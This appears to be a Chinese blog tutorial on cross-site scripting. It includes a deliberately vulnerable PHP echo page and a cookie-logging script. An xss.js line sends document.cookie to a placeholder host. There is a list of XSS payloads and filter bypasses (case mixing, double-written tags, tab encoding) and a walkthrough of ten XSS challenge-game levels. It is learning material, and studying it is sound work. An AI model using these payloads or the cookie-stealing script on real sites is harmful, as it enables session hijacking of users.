zoukankan      html  css  js  c++  java
  • XSS----payload,绕过,xss小游戏记录

    一.XSS

    1.原理:攻击者把恶意的脚本代码注入到网页中,等待其他用户浏览
    这些网页(或触发其他条件),从而执行其中的恶意代码。
    1.xss实例代码:
    test.html

    <!DOCTYPE html>
    <head>
    <title>xss_test</title>
    </head>
    <body>
    	<form action="xss.php" method="post">
    		请输入你的名字<br>
    		<input type="text" name="name">
    		<input type="submit" value="提交">
    	</form>
    </body>
    </html>
    

    xss.php

    <!DOCTYPE html>
    
    <head>
    <meta charset="utf-8">
    <title>测试结果</title>
    </head>
    <body>
    	<?php
    	echo $_POST['name'];
    	?>	
    </body>
    </html>
    

    获得cookie 脚本
    cookie.php

    <?php
    $cookie = $_GET['cookie']."
    ";
    $cookie_f = fopen('cookie.txt','a');
    fwrite($cookie_f,$cookie);
    fclose($cookie_f);
    ?>
    

    xss.js

    <script>window.open('http://www.test.com/cookie.php?cookie='+document.cookie)</script>
    

    xss分为3类
    反射型xss
    存储型xss
    dom型xss

    2.xss的payload

    <!-- 基本类型-->
    <script >alert('xss')</script>
    <script >alert("xss")</script>
    <script >alert(/xss/)</script>
    <script >alert('xss');</script>
    
    <!--      利用javascript伪协议     -->
    
    <iframe src=javascript:alert('xss') ></iframe>
    ---------------------------------
    <a href=javascript:alert('xss')>xxx</a>
    两个a标签之间要加东西,不然看不到点击的地方
    
    <!--     利用基本事件    -->
    <img src="x" onerror= alert('xss')> //图片未找到
    <img src="x" onload= alert('xss')>  //图片正常显示
    <img src="x" onclick= alert('xss')>
    
    事件 含义
    onclick 鼠标单击
    onchange 内容发生改变
    onerror 图片等未找到时
    onload 页面加载
    onmouseover 鼠标悬停
    onmouseout 鼠标移出
    onmousemove 鼠标路过

    onchange 用在 input 标签

    <input type="text" onchange=alert('xss')>
    

    3.xss 的一些绕过

    --标签的属性支持javascript:[code]伪协议

    利用空字符
    常用字符:【空格】【回车】【Tab】键位符
    应用场景:对JavaScript关键字过了过滤
    

    -- 扰乱过滤规则

    1)大小写混合
    <sCRipt>alert('xss')</script>
    2)引号的使用
    <script>alert('xss')</script>
    <script>alert("xss")</script>
    <script>alert(/xss/)</script>
    3)<iframe/src=javascript:alert(1)>
    4)双写
    <scr<script>ipt>alert(1111)</scr</script>ipt>
    

    小tips

    %0a用做换行使的input标签语法正确,主要是因为过滤了“>”
    //  js的注释
    

    二.实战xss挑战之旅

    1.第一题(无过滤措施)

    首先在地址后输入我们最基本的payload,弹窗

    还可以

    利用 iframe 标签的的 src 属性来弹窗
    <iframe src=javascript:alert('xss')></iframe>
    
    利用标签的 href 属性来弹窗
    <a href=javascript:alert('xss')>ggtest</a>
    这里就是超链接到了:javascript:alert('xss')
    效果和浏览器直接打开这个地址:javascript:alert('xss')是一样的
    这里还可以使用:javascript:alert(document.cookie) 来弹出当前会话的 cookie
    
    img标签来弹窗
    <img src=1 onerror=alert('xss')>
    
    

    2.第二题

    在次尝试输入基本的payload,看到没有


    右键查看源代码,搜索我们刚输入的东西,看过滤了什么

    呗代码复制出来,构造payload,在input 标签里,首先想到onchange事件

    <input name=keyword  value="<script >alert('xss')</script>">
    
    " onchange =alert(111) <"
    


    还可以

    "><script>alert(222)</script> <"
    

    3.第三关

    一样操作,看源代码,构造payload

    过滤了尖括号
    " onchange=alert(1111) /<"

    ' onchange='alert(/111/)
    

    这个刚学到的,可能对< " 过滤有帮助
    ' onclick=alert(1)%0a
    %0a用做换行使的input标签语法正确,主要是因为过滤了“>”。

    4.第四关

    <input name=keyword  value="111">
    " onchange=alert(555)<"
    

    5.第五关


    过滤了script

    还过滤了on事件
    只能利用javascript伪协议

    "><a href=javascript:alert(111)>
    

    6.第六关




    基本全过滤
    尝试大小写绕过

    "><img sRc=x onError="alert(/xss/) 
    

    这样还不行,看源码,on过滤,试了一下on大写,成功

    "><img sRc=x OnError="alert(/xss/) 
    

    7.第七关

    <input name=keyword  value="456">
    尝试以下
    <input name=keyword  value="" Onchange=alert(123) id="">
    

    不行,过滤on想到用伪协议

    想到伪协议的绕过tab 空格 还是不行,尴尬,看上边过滤是直接把on消失,试试复写。

    " Oonnchange=alert(123) id="
    

    第八关

    </center><center><BR><a href="1111">友情链接</a></center><center><img src=level8.jpg></center>
    

    a标签,href直接使用伪协议

    javascript:alert(1111)
    


    尝试tab

    按键 url编码
    tab %09
    enter %0A
    space %20


    --又有一方法 html10进制编码payload


    第九关



    尝试伪协议


    并没有弹,应该是/问题,这有一个思路是把http://放到alert里

    javascri	pt:alert('http://')
    //tab
    


    编码

    第十关

    一脸懵逼,没有输入输出点啊

    还是没有输出点,通过观察发现有3个隐藏的输入input,构造下看看有没有输出

    http://test.com/xss1/level10.php?keyword=11111&t_link=1&t_history=2&t_sort=3
    

    发现t_sort参数有东西,窃喜。。

    <input name="t_sort"  value="3" type="hidden">
    构造
    http://test.com/xss1/level10.php?keyword=11111&t_link=1&t_history=2&t_sort=" onmousemove=alert(111) id="
    

    ~绕过hidden属性的影响

    http://test.com/xss1/level10.php?keyword=11111&t_link=1&t_history=2&t_sort=" onmosemove=alert(111) type="text"
    

  • 相关阅读:
    跨浏览器右键复制实现
    在eclipse里如何快速定位到某一行?
    为数据库中的表添加字段步骤
    一键安装openstack juno 之controller node.
    Linux的/etc/services文件的作用?
    docker and ssh issues
    yum change source repo centos共存安装sun jdk6和jdk7
    random and password 在Linux下生成crypt加密密码的方法,shell 生成指定范围随机数与随机字符串
    OpenStack,ceph
    那些证书相关的玩意儿(SSL,X.509,PEM,DER,CRT,CER,KEY,CSR,P12等)[zz]
  • 原文地址:https://www.cnblogs.com/hackxf/p/8982144.html
Copyright © 2011-2022 走看看